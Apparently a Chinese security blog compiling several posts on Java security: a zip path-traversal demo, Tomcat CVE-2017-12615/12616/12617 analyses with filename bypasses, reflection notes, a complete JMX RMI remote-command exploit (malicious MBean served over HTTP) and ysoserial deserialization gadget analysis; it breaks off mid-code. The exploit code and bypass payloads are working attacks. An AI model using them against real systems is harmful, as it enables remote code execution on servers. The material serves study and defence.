k1n9 发布的文章

前几天有文章(传送门)分析了 Apktool 之前版本存在的两个漏洞,其中第二个漏洞是解包 Apk 时通过类似目录遍历的方式把 unknown 中的脚本解压到线上的网站目录从而实现 RCE。这让我想起了之前一篇讲述 Python 中解压文件时的安全问题的文章(传送门),其实 Apktool 这个也是 Java 做文件解压时存在一样的问题了。

0x01 Demo 代码

Java 中做压缩/解压操作代码

package ZipTest;

import java.io.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;

/**
 * Created by k1n9 on 2017/12/7.
 */
public class Demo {
    public static void main(String[] args) throws Exception {

        ZipCompressSingleFile();
        ZipDecompressFile();

    }

    public static void ZipCompressSingleFile() throws Exception {
        System.out.println(System.getProperty("user.dir"));

        ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("/Users/k1n9/IdeaProjects/JavaLearn/test.zip"));
        ZipEntry entry = new ZipEntry("../../../../../../../../../../../var/www/html/test.txt");
        zos.putNextEntry(entry);

        InputStream is = new FileInputStream("/Users/k1n9/IdeaProjects/JavaLearn/test.txt");
        int len = 0;
        while ((len = is.read()) != -1) {
            zos.write(len);
        }

        is.close();
        zos.close();
    }

    public static void ZipDecompressFile() throws Exception {
        File file = new File("./test.zip");

        ZipFile zf = new ZipFile(file);
        ZipInputStream zis = new ZipInputStream(new FileInputStream(file));
        ZipEntry zipEntry = null;

        while ((zipEntry = zis.getNextEntry()) != null) {
            String filename = zipEntry.getName();
            File f = new File("/Users/k1n9/IdeaProjects/JavaLearn/" + filename);

            if (!f.getParentFile().exists()) {
                f.getParentFile().mkdirs();
            }

            BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(f));
            InputStream is = zf.getInputStream(zipEntry);
            byte[] data = new byte[2048];
            int len = 0;

            while ((len = is.read(data)) != -1) {
                bos.write(data, 0, len);
            }

            bos.close();
            is.close();
        }
        zis.close();
    }
}

压缩包中恶意文件路径的构造在实例化 ZipEntry 对象的时候,可以传入往上次目录跳这样的路径,这样压缩后的文件效果如下
5a2b6bb14cbdd.png

那么在做解压操作时要是没有去验证 ZipEntry 中的文件名是否合法便直接加到路径中写出来的话就会造成文件最终被解压到系统上其它的目录去了。在解压函数中还有一个对父目录的检测的,如果不存在的话就去创建这个父目录,因为真实情况的话往往会创建一个以时间戳来命名的目录再把文件解压到里面去,这里会有个问题,例如

/Users/k1n9/IdeaProjects/JavaLearn/test.txt

这个是预设中的目标路径,JavaLearn 目录不存在的话便创建一个,这里没啥问题。但是在我们构造一个恶意路径后成了这样

/Users/k1n9/IdeaProjects/JavaLearn/../../../../../../../../../../../var/www/html/test.txt

这里要是 JavaLearn 目录不存在也不会被创建,由于路径中的 JavaLearn 不存在,在 Linux 文件系统下这样的路径是非法的了,最终会抛出 FileNotFoundException 异常,文件也不会写出来。但是这种情况在 Windows 文件系统中无关系了,一样可以写出来。

0x02 如何利用

假如是在 Tomcat 上的话,构造好一个 war 包,路径跳到 webapps。只要解压了,war 包被写到 webapps 目录中,再借助热部署完成 getshell。这只是一个想法了,也可以选择覆盖掉一些配置文件等等。当然要想真正利用还是有前提的:

  • 已经获取到了目标的路径(默认或者爆破式的猜也是一些选择了)
  • 要是解压路径有加类似时间戳这样的路径就还得考虑目标系统类型了

Tomcat 官方在 9 月 19 号公布了两个漏洞 CVE-2017-12616 和 CVE-2017-12615。当启用了虚拟路径,那么虚拟路径中的 jsp 脚本可被攻击者直接获取到源码。当启用了 PUT 方法,可被攻击者上传恶意 jsp 脚本导致代码执行。本文会对漏洞的产生以及官方的修复方法进行分析。

0x00 Tomcat 动态调试

使用动态调试的方式可以很清楚的跟踪漏洞触发的整个流程,下面是对 Tomcat 进行动态调试的配置
Linux:
将 bin/startup.sh 拷贝一份为 debug.startup.sh,再将 debug.startup.sh 中的

exec "$PRGDIR"/"$EXECUTABLE" start "[email protected]"

替换成

export JPDA_TRANSPORT=dt_socket
export JPDA_ADDRESS=5005
export JPDA_SUSPEND=y
exec "$PRGDIR"/"$EXECUTABLE" jpda start "[email protected]"

Windows:
将 bin/startup.bat 拷贝一份为 debug.startup.bat,再将 debug.startup.bat 中的

call "%EXECUTABLE%" start %CMD_LINE_ARGS%

替换成

set JPDA_TRANSPORT=dt_socket
set JPDA_ADDRESS=5005
set JPDA_SUSPEND=y
call "%EXECUTABLE%" jpda start %CMD_LINE_ARGS%

去下载相应版本的 Tomcat 源码,然后用 idea 直接把源码导进去就好了,要注意下导入的过程中把 OSGi 的选项给取消了。要是在调试的过程中可能会进入 JDK 的代码中去的话,在设置 JDK 版本的时候要选跟运行着 Tomcat 服务器上一样的。接下来在 idea 添加一个远程调试配置
59eddb0b08a69.png
Debugger mode 为 Attach,Host 为运行 Tomcat 的地址,Port 根据脚本中的 JPDA_ADDRESS 而定。JPDA_SUSPEND 的值默认为 n,只有下了断点才会暂停 Tomcat。设置为 y 的话,启动 Tomcat 时会一直处于等待状态,直到调试器连接过来。运行用来做调试的脚本来启动 Tomcat 后会显示在监听 5005 端口,此时在 idea 上点击调试就会连接上,再在相应的代码处下断点就可以做调试分析了。

0x01 CVE-2017-12616 分析

启用虚拟路径配置:
conf/server.xml 中的 Host 标签下添加

    <Context path="">
          <Resources className="org.apache.naming.resources.VirtualDirContext" extraResourcePaths="/test=C:/test" />
    </Context>

根据 conf/web.xml 中的 servlet-mapping 可以知道除了 url 中匹配到的 .jsp 和 .jspx 会交给 JspServlet 来处理,其它的请求,例如静态资源之类的由 DefaultServlet 来处理。

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

所以在做动态调试分析的时候可以选择在对应 Servlet 中的 service 方法,或者是直接根据相应的请求在 doGet 或是 doPut 方法中下断点就可以跟踪整个流程了。
看下 DefaultServlet 的处理流程,从 doGet 方法开始跟的话会发现进入到 BaseDirContext 中的 lookup 方法中去
59eddc5fcc6fd.png
如果没有设置 aliases 的话就会进入 doLookup 方法中去,如果你设置了虚拟目录的话,这里进入的 doLookup 方法会是 VirtualDirContext 中的 doLookup,否则就是进入 FileDirContext 中的 doLookup 方法。
VirtualDirContext.java 中的 doLookup 方法在 7.0.81 中是有改动的,下面代码是和 7.0.79 (左边)进行的对比
59eddc608eec2.png
可以看到代码由之前的只是对文件是否存在和是否可读的检测改变为用 validate 方法来进行检测。那么 7.0.1 之前版本在虚拟目录里可以读取 jsp 脚本的源码的漏洞就是由 Windows 下的文件名的特性再加上这里检测不严导致的。利用方法大概如下:

  • test.jsp::$DATA
  • test.jsp.
  • test.jsp%20
  • test.jsP

这些文件名都是不会匹配上 JspServlet 的 url-pattern,所以它们都是由 DefaultServlet 当静态资源请求给返回了
59eddb114f350.png

对于 CVE-2017-12615 漏洞有一个利用是在文件名后面添加一个 / 符号,再结合 JDK 中的 File 类会对文件名末尾做一个检测(要是末尾有 / 这样的符号,会自动去掉)来成功创建一个 jsp 脚本。在这里也一样是可以通过这个能读到 jsp 文件的内容,但是在 DefaultServlet 返回之前会对路径末尾有一个检测,要是末尾为 / 或是 符号,直接返回 404。
接下来看下 validate 方法,这个方法是在 7.0.81 版本中由 FileDirContext 中的 file 函数拆分而来的
59eddeee15d19.png
validate 方法:

    protected File validate(File file, boolean mustExist, String absoluteBase) {
        //mustExist 要是被设置为 true,那么文件必须得存在才行
        if (!mustExist || file.exists() && file.canRead()) {

            if (allowLinking)
                return file;

            // Check that this file belongs to our root path
            String canPath = null;
            try {
                //获取规范化路径,会去掉文件名末尾的空格和点号,如果系统上存在该文件,返回系统上的文件名(大小写),存在特殊字符返回 null
                canPath = file.getCanonicalPath();
            } catch (IOException e) {
                // Ignore
            }
            if (canPath == null)
                return null;
            // Check to see if going outside of the web application root
            if (!canPath.startsWith(absoluteBase)) {
                return null;
            }
            // Case sensitivity check - this is now always done
            String fileAbsPath = file.getAbsolutePath();
            if (fileAbsPath.endsWith("."))
                fileAbsPath = fileAbsPath + "/";
            String absPath = normalize(fileAbsPath);
            canPath = normalize(canPath);
            if ((absoluteBase.length() < absPath.length())
                && (absoluteBase.length() < canPath.length())) {
                absPath = absPath.substring(absoluteBase.length() + 1);
                if (absPath.equals(""))
                    absPath = "/";
                canPath = canPath.substring(absoluteBase.length() + 1);
                if (canPath.equals(""))
                    canPath = "/";
                //和规范化路径进行对比,不等返回 null
                if (!canPath.equals(absPath))
                    return null;
            }
        } else {
            return null;
        }
        return file;
    }

由此也可以明白为什么只有在虚拟目录下才存在源码泄漏的洞,而正常的 web 路径不会有。在 7.0.81 里的修复方法就是在 VirtualDirContext 中使用 validate 这个方法来做检测。
在这段代码中还有个判断

            if (allowLinking)
                return file;

假如 allowLinking 为 true 那么就不会做下面的各种检测了,会直接返回 file,那么自然会造成各种源码泄漏,版本 7,8,9 都可能会有这个问题,而且不局限虚拟路径。allowLinking 默认为 false,需要设置。
Tomcat7:
conf/context.xml

<Context allowLinking="true">

Tomcat8/9:

<Context>
    <Resources allowLinking="true" />

在官方的文档中有警告用户不要在 Windows 系统上这样去设置
59eddb10824b4.png
所以这个也是做安全加固要注意的一个点。

0x02 CVE-2017-12615 分析

启用 PUT 方法配置:
conf/web.xml 中的 DefaultServlet 处添加

        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>

根据前面说到的,只要在 DefaultServlet 中的 doPut 下断点就好,这里还是会先走一遍 doLookup 方法,不过这里主要是确认文件不存在,最终会在 rebind 方法中创建文件。对比下 7.0.79 和 7.0.81 中 rebind 方法
59eddb11db680.png
在 7.0.81 版本中会使用 file 方法来获取文件对象,而不是之前版本那样直接使用 File 类来创建。利用方法和上一个一样。根据给 file 传的参数,可以知道 mustExist 被设置为 false ,所以会进入 validate 方法中的检查。
59eddeed7dc9c.png
可以看到在进入 validate 方法之前,File 类已经把文件名末尾的 / 符号给去掉了的,所以这个是对 7.0.81 版本中的一个绕过方法了。此外,长亭的专栏中 Ricter 提出了另外的一种绕过方法,主要是利用到了 getCanonicalPath 方法在存在路径缓存的情况下,不会去掉文件系统上不存在的文件名末尾的空格,再结合 Windows 文件系统的特性做的绕过,具体可以看参考链接。同理 allowLinking 对这个洞一样会有影响,开启 allowLinking 对这个漏洞做个测试
59eddb1089b8e.png

0x03 CVE-2017-12617 分析

这个 CVE 就是前面提的绕过,这里主要看一下官方后来的修复。代码对比版本是 7.0.81 和 7.0.82:
看官方的注释就行,确保文件名末尾不是 /。
59eddeed96334.png

再贴一下 validate 方法的修改,和新增的用来防止 getCanonicalPath 方法问题的 isInvalidWindowsFilename。其中官方写的注释也很清楚就不再讲述其中的作用。

    protected File validate(File file, String name, boolean mustExist, String absoluteBase,
            String canonicalBase) {

        // If the requested names ends in '/', the Java File API will return a
        // matching file if one exists. This isn't what we want as it is not
        // consistent with the Servlet spec rules for request mapping.
        if (name.endsWith("/") && file.isFile()) {
            return null;
        }

        // If the file/dir must exist but the identified file/dir can't be read
        // then signal that the resource was not found
        if (mustExist && !file.canRead()) {
            return null;
        }

        // If allow linking is enabled, files are not limited to being located
        // under the fileBase so all further checks are disabled.
        if (allowLinking) {
            return file;
        }

        // Additional Windows specific checks to handle known problems with
        // File.getCanonicalPath()
        if (JrePlatform.IS_WINDOWS && isInvalidWindowsFilename(name)) {
            return null;
        }

        // Check that this file is located under the web application root
        String canPath = null;
        try {
            canPath = file.getCanonicalPath();
        } catch (IOException e) {
            // Ignore
        }
        if (canPath == null || !canPath.startsWith(canonicalBase)) {
            return null;
        }

        // Ensure that the file is not outside the fileBase. This should not be
        // possible for standard requests (the request is normalized early in
        // the request processing) but might be possible for some access via the
        // Servlet API (RequestDispatcher etc.) therefore these checks are
        // retained as an additional safety measure. absoluteBase has been
        // normalized so absPath needs to be normalized as well.
        String absPath = normalize(file.getAbsolutePath());
        if ((absoluteBase.length() > absPath.length())) {
            return null;
        }

        // Remove the fileBase location from the start of the paths since that
        // was not part of the requested path and the remaining check only
        // applies to the request path
        absPath = absPath.substring(absoluteBase.length());
        canPath = canPath.substring(canonicalBase.length());

        // Case sensitivity check
        // The normalized requested path should be an exact match the equivalent
        // canonical path. If it is not, possible reasons include:
        // - case differences on case insensitive file systems
        // - Windows removing a trailing ' ' or '.' from the file name
        //
        // In all cases, a mis-match here results in the resource not being
        // found
        //
        // absPath is normalized so canPath needs to be normalized as well
        // Can't normalize canPath earlier as canonicalBase is not normalized
        if (canPath.length() > 0) {
            canPath = normalize(canPath);
        }
        if (!canPath.equals(absPath)) {
            return null;
        }

        return file;
    }


    private boolean isInvalidWindowsFilename(String name) {
        final int len = name.length();
        if (len == 0) {
            return false;
        }
        // This consistently ~10 times faster than the equivalent regular
        // expression irrespective of input length.
        for (int i = 0; i < len; i++) {
            char c = name.charAt(i);
            if (c == '\"' || c == '<' || c == '>') {
                // These characters are disallowed in Windows file names and
                // there are known problems for file names with these characters
                // when using File#getCanonicalPath().
                // Note: There are additional characters that are disallowed in
                //       Windows file names but these are not known to cause
                //       problems when using File#getCanonicalPath().
                return true;
            }
        }
        // Windows does not allow file names to end in ' ' unless specific low
        // level APIs are used to create the files that bypass various checks.
        // File names that end in ' ' are known to cause problems when using
        // File#getCanonicalPath().
        if (name.charAt(len -1) == ' ') {
            return true;
        }
        return false;
    }

0x04 参考

最近一直都在学习 Java 安全相关的东西,这两个玩意可以说是经常碰到了,做个笔记。话说要是在两个月前我是万万想不到我现在整天接触的居然是 Java,一边学习 Java 一边搞 = =

0x00 反射机制

利用反射机制能干的事情:

  • 在运行时动态对任意的类实例化
  • 在运行时分析类,获取类的成员变量和方法等信息
  • 调用任意方法

0x01 获取 Class 对象的三种方法

Class 类保存了所有对象运行时的类型标识,虚拟机在运行时根据类型信息再去选择对应的方法来执行。这里的 Class 可以理解为类类型,跟平时说的 Class 是有区别的。下面是如何去获取一个 Class 类型的实例。

Object 类中的 getClass() 方法

Test t = new Test();
Class c = t.getClass();

调用静态方法 forName()

String className = "java.util.Random";
Class c = Class.forName(className);

只有在 className 是类名或接口名时才能执行,不然 forName() 方法会抛出一个 checked 异常。

任意的 Java 类型的 class 变量

Class c1 = Random.class;
Class c2 = int.class;

用 newInstance() 方法便可以返回对应类的新实例。

Test t = new Test();
Class c = t.getClass();
Object obj = c.newInstance();
//需要转换类型才可以使用新实例,不然用 obj 去调用 Test 中的方法会出错
Test obj1 = (Test)c.newInstance();

0x02 获取类信息的操作

获取类成员变量:

  • Field[] getFields()
  • Field[] getDeclaredFields()
    getFields() 返回包含当前类和父类中 public 的成员变量的一个数组,getDeclaredFields() 返回包含当前类的所有成员变量的一个数组。通过 getName() 和 getType() 方法可以获取到其名字和类型。

获取类方法:

  • Method[] getMethods()
  • Method[] getDeclareMethods()
    效果跟上面的类似,只是 getDeclareMethods() 还能得到接口的全部方法。通过 getName() 和 getReturnType() 方法可以获取到其名字和返回类型。

也可以通过其名字来获取到对应的变量,方法名就是上面那些方法名去掉 s 后传名字作为参数。通过 get() 和 set() 方法可以获取类成员变量的值或者是给类成员变量设置一个值,需要有访问权限,不过也可以通过 setAccessible() 方法来覆盖访问控制。下面一个例子:

import java.lang.reflect.Field;

/**
 * Created by k1n9 on 2017/9/12.
 */
public class ReflectionTest {
    public static void main(String[] args) {
        try {
            Class c = Class.forName("Rtest");
            Object obj = c.newInstance();

            try {
                Field f = c.getDeclaredField("secret");
                f.setAccessible(true);
                f.set(obj, "whoami");
                System.out.println(f.get(obj));
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
}

class PRtest {
    public String word;
}

class Rtest extends PRtest{
    public String name;
    private String secret;

    public void publicfunc() {
        System.out.println(this.name);
    }

    private void privatefunc() {
        System.out.println(this.secret);
    }
}

还有其它一些方法,比如获取构造器的等等。

0x03 类方法调用

类方法调用其实跟类成员变量的操作差不多,用到的是 Method 类中的 invoke() 方法,也会有访问权限的问题,但是同样可以通过 setAccessible() 方法来解决。

Method m = c.getDeclaredMethod("privatefunc");
m.setAccessible(true);
m.invoke(obj);

0x04 动态代理

提供一个代理对象,用代理对象来取代对原对象的访问,这里原对象的类需要时实现接口的类。也有可以实现对不需要实现接口的类的对象的代理,但是需要引入别的库了。

动态代理实现

  • 实现调用处理器 InvocationHandler 接口
  • 用 newProxyInstance 来获取一个代理对象
  1. static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

newProxyInstance 这个方法中需要用到的类加载器,和接口参数都是可以通过反射来获得的,写的例子:
InterfaceTest.java

public interface InterfaceTest {
    public void action();
}

InvocationhandlerTest.java

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

/**
 * Created by k1n9 on 2017/9/12.
 */
public class InvocationhandlerTest implements InvocationHandler {
    private Object target;

    public InvocationhandlerTest(Object t) {
        target = t;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return method.invoke(target);
    }
}

ProxyTest.java

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

/**
 * Created by k1n9 on 2017/9/12.
 */
public class ProxyTest {
    public static void main(String[] args) {
        Ptest t = new Ptest();
        Class<?> c = t.getClass();
        InvocationHandler h = new InvocationhandlerTest(t);

        InterfaceTest proxyobj = (InterfaceTest) Proxy.newProxyInstance(c.getClassLoader(), c.getInterfaces(), h);
        proxyobj.action();
    }
}

class Ptest implements InterfaceTest {
    public void action() {
        System.out.println("action called!");
    }
}

代理对象对方法的调用都是通过调用处理器中的 invoke 方法来调用的,Ysoerial 中的一些 payload 的触发也用到了这一点。

0x00 简述

好几年前就有人提到这个关于JMX RMI的攻击了,个人觉得这个只是因为没有做到安全配置而导致存在的可被攻击利用的点。攻击者可以远程注册一个恶意的 MBean,再去调用里面的用于执行命令的方法达到攻击效果。代码来自参考文章,只对代码做了少许改动,他还为 metasploit 写了这个攻击模块,具体的可以看参考链接。主要还是去了解其中的攻击利用实现,用到的也都是正常功能了。

前提条件:

  • 允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)
  • 能够远程注册 MBean (javax.management.loading.MLet)

0x01 恶意MBean

EvilMBean.java:

/**
 * 定义MBean接口和用来执行命令的方法
 */
public interface EvilMBean {
    public String runCommand(String cmd);
}

Evil.java:

import java.io.BufferedReader;
import java.io.InputStreamReader;

/**
 * 类名要与实现的接口的前缀一样
 */
public class Evil implements EvilMBean {
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }

            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

将上述两个java文件编译后打包成jar包:

jar -cvf compromise.jar EvilMBean.class Evil.class

这会有版本问题,1.8.131 打包的在 1.7.80 用不了。

0x02 利用代码

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;

/**
 * Created by k1n9 on 2017/8/23.
 */
public class RemoteMbean {
    private static String JARNAME = "compromise.jar";
    private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
    private static String EVILCLASS = "Evil";

    public static void main(String[] args) {
        try {
            //开启Http服务,提供带mlet标签的html和恶意MBean的jar包
            HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
            server.createContext("/mlet", new MLetHandler());
            server.createContext("/" + JARNAME, new JarHandler());
            server.setExecutor(null);
            server.start();
            //这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
            connectAndOwn("10.18.224.59", "2333", "id");

            server.stop(0);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    static void connectAndOwn(String serverName, String port, String command) {
        try {
            //建立连接
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");

            JMXConnector c = JMXConnectorFactory.connect(u, null);
            System.out.println("Connected: " + c.getConnectionId());

            MBeanServerConnection m = c.getMBeanServerConnection();

            ObjectInstance evil_bean = null;
            try {
                evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
            } catch (Exception e) {
                evil_bean = null;
            }

            if (evil_bean == null) {
                System.out.println("Trying to create bean...");
                ObjectInstance evil = null;
                try {
                    evil = m.createMBean("javax.management.loading.MLet", null);
                } catch (javax.management.InstanceAlreadyExistsException e) {
                    evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                }

                System.out.println("Loaded " + evil.getClassName());
                //调用 getMBeansFromURL 从远程服务器获取 MBean
                Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                        new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
                        new String[] {String.class.getName()}
                        );
                HashSet res_set = (HashSet)res;
                Iterator itr = res_set.iterator();
                Object nextObject = itr.next();
                if (nextObject instanceof Exception) {
                    throw ((Exception)nextObject);
                }
                evil_bean = ((ObjectInstance)nextObject);
            }
                //调用恶意 MBean 中用于执行命令的函数
            System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static class MLetHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            /**
             * mlet 标签
             * <MLET
             * CODE = class | OBJECT = serfile
             * ARCHIVE = "archiveList"
             * [CODEBASE = codebaseURL]
             * [NAME = mbeanname]
             * [VERSION = version]
             * >
             * [arglist]
             * </MLET>
             */
            String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
            System.out.println("Sending mlet: " + respone + "\n");
            t.sendResponseHeaders(200, respone.length());
            OutputStream os = t.getResponseBody();
            os.write(respone.getBytes());
            os.close();
        }
    }

    static class JarHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            System.out.println("Request made for JAR...");
            //这里的 compromise.jar 可以根据实际的路径来修改
            File file = new File("/Users/k1n9/Workspace/Java/compromise.jar");
            byte[] bytearray = new byte[(int)file.length()];
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            bis.read(bytearray, 0 , bytearray.length);
            t.sendResponseHeaders(200, file.length());
            OutputStream os = t.getResponseBody();
            os.write(bytearray, 0, bytearray.length);
            os.close();
        }
    }
}

0x03 测试

599e8c1f24520.png

参考

0x00 CommonsBeanutilsCollectionsLogging1

依赖:

  • commons-beanutils:1.9.2
  • commons-collections:3.1
  • commons-logging:1.2

ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java:

public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
    }
}

Ysoserial 中每个 payload 的生成类都需要实现 ObjectPayload 接口中的 getObject 方法,该方法的功能为传入要执行的命令然后返回构造好的对象。

final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

从第一句可以看出这里的命令执行需要用到 TemplatesImpl 中的执行链,之前 fastjson 反序列化的 POC 构造也是用的这个,具体可以看参考中的链接。

0x01 TemplatesImpl 中的执行链

com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中的getOutputProperties():

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

newTransformer():

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

getTransletInstance():

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

其中的 defineTransletClasses 方法主要是通过 _bytecodes(存放着字节码)找到对应的 Class 并放到 _class 数组中去,接着会调用 Class 的 newInstance() 实例化。如此一来,只要在一个类中的初始块或者构造器中加入执行命令的代码,再把这个类的字节码传给 _bytecodes 就行。
完整的执行链:
getOutputProperties() --> newTransformer() --> getTransletInstance() --> newInstance()
根据这个执行链,只要找到一个在反序列化的时候会调用 TemplatesImpl.getOutputProperties() 就行,要注意的是这个执行链能执行到最终需要 _name,_bytecodes 和 _tfactory(在defineTransletClasses 方法中会用到)这三个变量不能为 null。

来看下 Ysoserial 是如何构造该执行链的。
ysoserial/payloads/util/Gadgets.java中的createTemplatesImpl():

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes,
        ClassFiles.classAsBytes(Foo.class)});

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    return templates;
}

这里主要是用到了 Javassist 这个库来处理字节码,这库厉害在于它可以在运行时动态的去修改 Java 的字节码。先是获得一个 ClassPool 对象,然后添加类的搜索路径。个人觉得 StubTransletPayload 这个类就定义在这里,添加这个搜索路径貌似作用不大。接下来就是获得 StubTransletPayload 类的 CtClass(compile-time clas)引用,然后就是往里面插入一段带有执行命令代码的静态初始化块。看下 StubTransletPayload :

public static class StubTransletPayload extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

因为_bytecodes需要是translet class,这里是继承了AbstractTranslet这个抽象类。那么StubTransletPayload也得定义为抽象类,要不就得重写AbstractTranslet中的这两个方法,抽象类没法实例化,所以就只能选择去重写这两个方法了。
关于 Javassist 这个库的具体使用可以看参考里面的链接,本地写了一小段测试代码:
59950c4a17c10.png
再看下生成的字节码和反编译的源码:
59950c67b9ee7.png
设置 templates 中三个成员变量的值得时候用到了反射,Ysoserial 里自己写了个 Reflections 类,可以去看下:

public class Reflections {
    public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
